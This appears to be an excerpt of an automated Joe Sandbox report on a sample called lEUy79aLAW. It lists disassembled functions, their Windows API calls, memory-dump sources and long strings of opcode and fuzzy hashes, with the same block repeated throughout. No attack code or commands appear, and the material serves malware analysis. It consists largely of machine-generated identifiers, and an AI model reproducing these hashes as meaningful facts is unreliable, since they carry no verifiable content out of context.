                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: InfoLocale___crt
                                  • String ID: 2
                                  • API String ID: 3761071962-450215437
                                  • Opcode ID: 94d9ae317dddcc1a3e64a75f7081b7145ae45ece0e556ca61f5891539d9c8b25
                                  • Instruction ID: e777d7b885b0058585372907c5d9797d59c23a8e8e91a50b7ea4f86ca1684162
                                  • Opcode Fuzzy Hash: 94d9ae317dddcc1a3e64a75f7081b7145ae45ece0e556ca61f5891539d9c8b25
                                  • Instruction Fuzzy Hash: 3FE0E56DC42218FAEB449B848E86BAD727CDB4036CF208095E00516081D2F18F84D162
                                  Function 00A83184 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00A831C3
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Time$FileSystem
                                  • String ID: GetSystemTimePreciseAsFileTime
                                  • API String ID: 2086374402-595813830
                                  • Opcode ID: 8daf463acdc83a6e2d97f58ec8c15b07e382b22bd7972aeef1a467f797438eaf
                                  • Instruction ID: 60d3abf201276ce33f7e0b50834117ae5fa189138e2884ad2ce3d63b26724f5e
                                  • Opcode Fuzzy Hash: 8daf463acdc83a6e2d97f58ec8c15b07e382b22bd7972aeef1a467f797438eaf
                                  • Instruction Fuzzy Hash: CDE0A032E01218BB8E15AF909C06E3E7B60EB05F10B00066AF8075B2C0DBA05F0296D5
                                  Function 00A262EB Relevance: 2.3, Strings: 1, Instructions: 1005COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID: 0-3916222277
                                  • Opcode ID: 2bc4eee28638d3fd5d8f7986e6803b6a4e755e58f461cb1ba302524b997e438d
                                  • Instruction ID: 7d65424c2c2b4b5dc40ca35b8a069b8d5a76c905ecdb7748dfaf77da24d29877
                                  • Opcode Fuzzy Hash: 2bc4eee28638d3fd5d8f7986e6803b6a4e755e58f461cb1ba302524b997e438d
                                  • Instruction Fuzzy Hash: 54A24774A001589FDB18CF98E5A0ABDBBF1FF49310F20449DE596AB382C735AE52DB50
                                  Function 00A8EB45 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A8437A: GetLastError.KERNEL32(000000FF,00000000,00A713F8,00000000,00000000,?,00A718DE,00000000,00000000,009FBDFF,?,000000FF), ref: 00A8437E
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843B1
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843F2
                                    • Part of subcall function 00A8437A: _abort.LIBCMT ref: 00A843F8
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843D9
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843E6
                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A8EB99
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast$_free$InfoLocale_abort
                                  • String ID:
                                  • API String ID: 1663032902-0
                                  • Opcode ID: e002531ae7c0aec7224c11049ccc0c84d99ff89f650d832cbee3e9664fd94956
                                  • Instruction ID: 74363e76b4240e2210ea0aa8963214537e050c0609d8e4ea4530bf7da3cc15fa
                                  • Opcode Fuzzy Hash: e002531ae7c0aec7224c11049ccc0c84d99ff89f650d832cbee3e9664fd94956
                                  • Instruction Fuzzy Hash: 33217C72910216EBEB24FF24DD4ABBA77A8EB05310F1041BAFD06C6181EB75ED44CB90
                                  Function 00A8E7CD Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A8437A: GetLastError.KERNEL32(000000FF,00000000,00A713F8,00000000,00000000,?,00A718DE,00000000,00000000,009FBDFF,?,000000FF), ref: 00A8437E
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843B1
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843F2
                                    • Part of subcall function 00A8437A: _abort.LIBCMT ref: 00A843F8
                                  • EnumSystemLocalesW.KERNEL32(00A8E8F5,00000001,00000000,?,00A80C69,?,00A8EF22,00000000,?,?,?), ref: 00A8E83F
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                  • String ID:
                                  • API String ID: 1084509184-0
                                  • Opcode ID: a481c739c93c1172d4c5992e175e675c1a60a614023344f86f51ee1a867d14c0
                                  • Instruction ID: cf6f686656d199fc9ef2e7bcc5510bc3cb9c9d4dccfd1ec8749a6328c65a3759
                                  • Opcode Fuzzy Hash: a481c739c93c1172d4c5992e175e675c1a60a614023344f86f51ee1a867d14c0
                                  • Instruction Fuzzy Hash: 2611C237600702DFDB18EF3988A56BEBB91FB84768B14442CE98687A40D771A942C740
                                  Function 00A8ED75 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A8437A: GetLastError.KERNEL32(000000FF,00000000,00A713F8,00000000,00000000,?,00A718DE,00000000,00000000,009FBDFF,?,000000FF), ref: 00A8437E
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843B1
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843F2
                                    • Part of subcall function 00A8437A: _abort.LIBCMT ref: 00A843F8
                                  • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00A8EB13,00000000,00000000,?), ref: 00A8EDA1
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast$InfoLocale_abort_free
                                  • String ID:
                                  • API String ID: 2692324296-0
                                  • Opcode ID: fe5ccff7d49a409c234ea1e8b7a2d1d6730dd512ee26f48bddba58b93ee72931
                                  • Instruction ID: 9088a9c72349b54ff28456f8756bd92c1a899827e1ecd1653e5215e3a4f972fc
                                  • Opcode Fuzzy Hash: fe5ccff7d49a409c234ea1e8b7a2d1d6730dd512ee26f48bddba58b93ee72931
                                  • Instruction Fuzzy Hash: D6F0F432A00116FFDB28FB64C805BBA7B68EB40354F044479EC05A3140EA30BE468790
                                  Function 00A8E868 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A8437A: GetLastError.KERNEL32(000000FF,00000000,00A713F8,00000000,00000000,?,00A718DE,00000000,00000000,009FBDFF,?,000000FF), ref: 00A8437E
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843B1
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843F2
                                    • Part of subcall function 00A8437A: _abort.LIBCMT ref: 00A843F8
                                  • EnumSystemLocalesW.KERNEL32(00A8EB45,00000001,?,?,00A80C69,?,00A8EEE6,00A80C69,?,?,?,?,?,00A80C69,?,?), ref: 00A8E8B4
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                  • String ID:
                                  • API String ID: 1084509184-0
                                  • Opcode ID: 3e1757206f73e07741785dec1d9015b76614f7db558c19a74f17161cbd328cf1
                                  • Instruction ID: be68d778a504ba71024b1f37d426f3b2803c381dfbd183977fd58f97b462ad9a
                                  • Opcode Fuzzy Hash: 3e1757206f73e07741785dec1d9015b76614f7db558c19a74f17161cbd328cf1
                                  • Instruction Fuzzy Hash: 39F0CD36300705AFDB28EF399895A6ABB95FF81368B05847CF9468B690D7B1AC428700
                                  Function 00A82C30 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A7C20B: EnterCriticalSection.KERNEL32(?,?,00A7D038,00000000,00ADCC48,0000000C,00A7CFF3,?,?,?,00A84D3C,?,?,00A8442F,00000001,00000364), ref: 00A7C21A
                                  • EnumSystemLocalesW.KERNEL32(00A82BEA,00000001,00ADCD48,0000000C), ref: 00A82C68
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CriticalEnterEnumLocalesSectionSystem
                                  • String ID:
                                  • API String ID: 1272433827-0
                                  • Opcode ID: 603d16bc78378bb9b6213f52408b9ac7d57696c70e615474ea39c3beb37fb9ae
                                  • Instruction ID: 0df854e1327a231cc7b5542983d57089468cac0b70c18d04812a9c5dffbe97aa
                                  • Opcode Fuzzy Hash: 603d16bc78378bb9b6213f52408b9ac7d57696c70e615474ea39c3beb37fb9ae
                                  • Instruction Fuzzy Hash: ADF04F72A10300EFDB10EFA8DD86B9E37E0FB05721F11821AF925DB2A1D7744A458B40
                                  Function 00A8E782 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A8437A: GetLastError.KERNEL32(000000FF,00000000,00A713F8,00000000,00000000,?,00A718DE,00000000,00000000,009FBDFF,?,000000FF), ref: 00A8437E
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843B1
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843F2
                                    • Part of subcall function 00A8437A: _abort.LIBCMT ref: 00A843F8
                                  • EnumSystemLocalesW.KERNEL32(00A8E6D9,00000001,?,?,?,00A8EF44,00A80C69,?,?,?,?,?,00A80C69,?,?,?), ref: 00A8E7B9
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                  • String ID:
                                  • API String ID: 1084509184-0
                                  • Opcode ID: b45d2ad249912809f2a31f81c73e50083d6540fd75bd40cb4fcc22198e649371
                                  • Instruction ID: 212438c4f9b38bf807047b17f73c5371566b89865a83b1a71fecfcbf5599b3a9
                                  • Opcode Fuzzy Hash: b45d2ad249912809f2a31f81c73e50083d6540fd75bd40cb4fcc22198e649371
                                  • Instruction Fuzzy Hash: ECF0E53A300205E7DB04FF76D85566A7F94EFC2764B064069FA058B290C7759943C750
                                  Function 00A24720 Relevance: 1.5, APIs: 1, Instructions: 18encryptionCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A24733
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ContextCryptRelease
                                  • String ID:
                                  • API String ID: 829835001-0
                                  • Opcode ID: c0e4e0e3778ca905e40e039b4c476c8999723add6ce208aa7afd7fd4fc925a8f
                                  • Instruction ID: 84740ef00e6a850060d932e6936099768773efdca17f8f0be6f0dc0c3930532f
                                  • Opcode Fuzzy Hash: c0e4e0e3778ca905e40e039b4c476c8999723add6ce208aa7afd7fd4fc925a8f
                                  • Instruction Fuzzy Hash: 3AD05E7175432112D6305B58AC49F8ABED85F67B01F188829B988E72C0D7B0D8488BA8
                                  Function 00A735A3 Relevance: 1.5, Strings: 1, Instructions: 214COMMONLIBRARYCODE
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: 0
                                  • API String ID: 0-4108050209
                                  • Opcode ID: 5273f9d4c87625097082295bb5890c3fd69ef225f50f923aec69ca0295fac1b9
                                  • Instruction ID: 2f1d044257b8b124a292c26e76a8b36d55a6fe576e1c89d17cb0b1b09d78ec55
                                  • Opcode Fuzzy Hash: 5273f9d4c87625097082295bb5890c3fd69ef225f50f923aec69ca0295fac1b9
                                  • Instruction Fuzzy Hash: 815189F32007466ADF38876C8E567BF67A89B12340F1AC919D48EC7382D201DF05B352
                                  Function 00A01630 Relevance: .8, Instructions: 781COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID:
                                  • API String ID: 2005118841-0
                                  • Opcode ID: 68d84ae5e86ba107f1b0c64e509eba7f28aec9bc4cb7e018099051b8af295be7
                                  • Instruction ID: 73404b46dcd8d0d80b3b2dcd4c41d71713a874bdcd8569704761a461913b1af8
                                  • Opcode Fuzzy Hash: 68d84ae5e86ba107f1b0c64e509eba7f28aec9bc4cb7e018099051b8af295be7
                                  • Instruction Fuzzy Hash: 4952C97190028D9FDF24DFA8E984BEE7BB5AF19324F044219F815972C1EB70DA48CB91
                                  Function 00A2533B Relevance: .7, Instructions: 747COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: b660348aa9959ffc7da8b261a250417bc668bc41265d8f1ed5fac9d1f32ec702
                                  • Instruction ID: 9691d3d4a65d7a5fa36547f3757dea4a639295863e2f99843f147a378052af13
                                  • Opcode Fuzzy Hash: b660348aa9959ffc7da8b261a250417bc668bc41265d8f1ed5fac9d1f32ec702
                                  • Instruction Fuzzy Hash: C5720674E142588FDB08CFA8E4A1AEDBBF1FB4E310F54415AE552BB391C634A942CF64
                                  Function 00A7E90D Relevance: .7, Instructions: 656COMMONLIBRARYCODE
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: AllocateHeap
                                  • String ID:
                                  • API String ID: 1279760036-0
                                  • Opcode ID: d22fe43a0b2a6e25304ba946d7152cc28c891ac38a5aaed6f15e31d94038b690
                                  • Instruction ID: 2659425782d6b73927b304681b51621afb30575738fc4f8f52c1503076910728
                                  • Opcode Fuzzy Hash: d22fe43a0b2a6e25304ba946d7152cc28c891ac38a5aaed6f15e31d94038b690
                                  • Instruction Fuzzy Hash: 9F327C74A0020A9FCF18CF58CD95ABEB7B5FF89304F24C1A9D94997345D732AA46CB90
                                  Function 00A7B47B Relevance: .7, Instructions: 652COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 98fb67c557a11728789f64df87f48f826bd86920330835161ef3a713f6e86e51
                                  • Instruction ID: 08abcdc8bedb474f48cc8f9db5f986358d040298b3a57d177e95a10fb376b235
                                  • Opcode Fuzzy Hash: 98fb67c557a11728789f64df87f48f826bd86920330835161ef3a713f6e86e51
                                  • Instruction Fuzzy Hash: 0B32F162D39F424DEB639635CC72376A24CAFB73C4F54D727E819B5AA6EB2984C34100
                                  Function 00A0A2C0 Relevance: .6, Instructions: 616COMMON
                                  Download Yara Rule
